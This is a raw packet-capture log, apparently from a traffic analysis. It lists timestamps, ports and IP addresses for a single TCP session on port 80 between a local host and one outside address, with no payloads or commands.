Feb 5, 2024 10:57:23.719923019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719928026 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.719937086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719950914 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719964027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719980001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719991922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.719995022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720005035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720016003 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720019102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720032930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720032930 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720046043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720060110 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720061064 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720074892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720088005 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720089912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720103979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720117092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720123053 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720129967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720143080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720144987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720155954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720169067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720174074 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720184088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720196962 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720197916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720211983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720225096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720231056 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720240116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720252991 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720253944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720268965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720283031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720284939 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720295906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720309019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720320940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720333099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720335007 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720345974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720356941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720362902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720377922 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720380068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720393896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720396996 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720407963 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720422029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720437050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720449924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720452070 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720463037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720474958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720488071 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720489025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720501900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720514059 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720515013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720529079 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720541954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720549107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720555067 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720568895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720570087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720583916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720587015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720597029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720611095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720612049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720626116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720638990 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720648050 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720654011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720669985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720679045 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720685005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720698118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720701933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720716000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720727921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720740080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720746994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720746994 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720752954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720773935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720788002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720797062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720803976 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720818043 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720818996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720834017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720846891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720860958 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720864058 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720875978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720890045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720891953 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720902920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720907927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720917940 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720930099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720940113 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720943928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720957994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720972061 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.720983982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.720988035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721003056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721004009 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721016884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721023083 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721033096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721046925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721046925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721060038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721075058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721087933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721091986 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721101999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721113920 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721116066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721131086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721144915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721148968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721159935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721174955 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721188068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721189022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721189022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721210003 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721210957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721225023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721237898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721250057 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721261024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721261978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721276045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721277952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721290112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721302986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721306086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721318007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721330881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721343994 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721347094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721357107 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721369982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721370935 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721385002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721385956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721399069 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721411943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721425056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721431017 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721438885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721451998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721457958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721466064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721479893 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721482992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721494913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721502066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721510887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721520901 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721525908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721539974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721551895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721560001 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721565008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721579075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721579075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721590996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721604109 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721615076 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721616983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721631050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721633911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721643925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721657991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721671104 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721683025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721693039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721693039 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721695900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721709013 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721716881 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721724033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721736908 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721739054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721751928 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721765995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721777916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721780062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721791983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721803904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721806049 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721820116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721832037 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721832991 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721848011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721858025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721863985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721879005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721899986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721909046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721909046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721913099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721927881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721937895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721942902 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721956015 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721965075 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.721970081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721983910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.721997023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722007990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722009897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722023010 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722026110 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722037077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722047091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722053051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722067118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722079992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722093105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722100019 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722107887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722121000 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722122908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722136974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722137928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722150087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722162962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722171068 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722177029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722194910 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722196102 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722209930 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722224951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722238064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722240925 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722250938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722260952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722265959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722278118 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722280025 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722294092 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722306967 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722310066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722320080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722332954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722336054 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722347021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722359896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722373009 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722377062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722388029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722402096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722402096 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722417116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722419977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722430944 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722445011 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722449064 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722457886 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722470999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722471952 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722486019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722498894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722508907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722512007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722526073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722528934 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722538948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722553968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722558022 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722567081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722578049 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722582102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722596884 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722609997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722609997 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722624063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722636938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722651005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722651958 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722662926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722673893 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722676992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722690105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722690105 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722702980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722717047 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722728968 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722729921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722745895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722759008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722769976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722770929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722769976 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722784996 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722799063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722811937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722819090 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722825050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722836971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722841024 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722855091 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722855091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722868919 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722882986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722891092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722898006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722913027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722915888 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722927094 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722939968 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722942114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722953081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722966909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722966909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722980022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.722990990 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.722995043 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723010063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723021984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723028898 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.723037004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723052979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723063946 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:23.723064899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723078966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723090887 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:23.723104000 CET	80	49735	91.215.85.120	192.168.2.4
